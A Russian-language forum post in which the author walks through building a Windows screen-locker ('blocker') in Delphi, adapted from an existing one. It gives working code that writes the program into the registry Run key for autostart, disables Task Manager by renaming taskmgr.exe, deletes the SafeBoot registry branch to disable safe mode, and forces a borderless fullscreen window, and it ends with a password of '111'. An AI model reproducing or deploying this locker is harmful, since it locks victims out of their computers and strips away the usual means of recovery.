Блин простецкая прога, но провозился, у меня там ещё и сам делфи глючил, потом понял, что доктор вообще ничего не даёт сделать (На хрюши, тоже доктор стоял), за исходник взял уже написанный небольшой блокер и переделал его:
В общем смысл такой, при запуске программы, запускаются ещё три процедуры, для это в FormCreate, прописываем три процедуры:
StartUp;
Taskmgr(False);
SafeBoot(False);
StartUp - Это основная процедура, там мы запишем наш блокер в автозагрузку, ну и автор предыдущего блокера копировал файл в Windows и запускал от туда, но т.к. у меня что-то всё заглючело благодаря доктору, я переделал просто добавление в автозагрузку из папки, где находится программа, добавив такие строки:
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
Reg.OpenKey('Software',True);
Reg.OpenKey('Microsoft',True);
Reg.OpenKey('Windows',True);
Reg.OpenKey('CurrentVersion',True);
Reg.OpenKey('Run',True);
Reg.WriteString('MySoft','"'+Application.Exename+'"')
Где MySoft - это имя автозагрузки.
Taskmgr(False); - Это отключение диспетчера задач,путём переименования файла taskmgr.exe.
SafeBoot(False) - Это как раз функция отключения безопасного режима путём удаления веток в реестре, отключает F8 !
Остановлюсь о ней по подробней, в целом всё просто:
procedure SafeBoot(SafeBoot: Boolean);
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if SafeBoot = False then
begin
Reg.lazywrite := false;
Reg.DeleteKey('HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot');
end
else
begin
Reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\M',
'System\CurrentControlSet\Control\SafeBoot\minimal', true);
Reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\N',
'System\CurrentControlSet\Control\SafeBoot\NetWork', true);
end;
Reg.CloseKey;
Reg.Free;
end;
Если False, то удаляем ветку HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot, если труе, то восстанавливаем всё как было !
Функции получились булевые, т.к. в данном случае реализовано ещё и удаление блокера ! ;)
Ну и не забывайте про полноэкранный режим:
form1.align:=alClient;
form1.borderstyle:=bsNone;
В общем пока всё, получилось немного коряво, зато вроде работает !
Пароль:111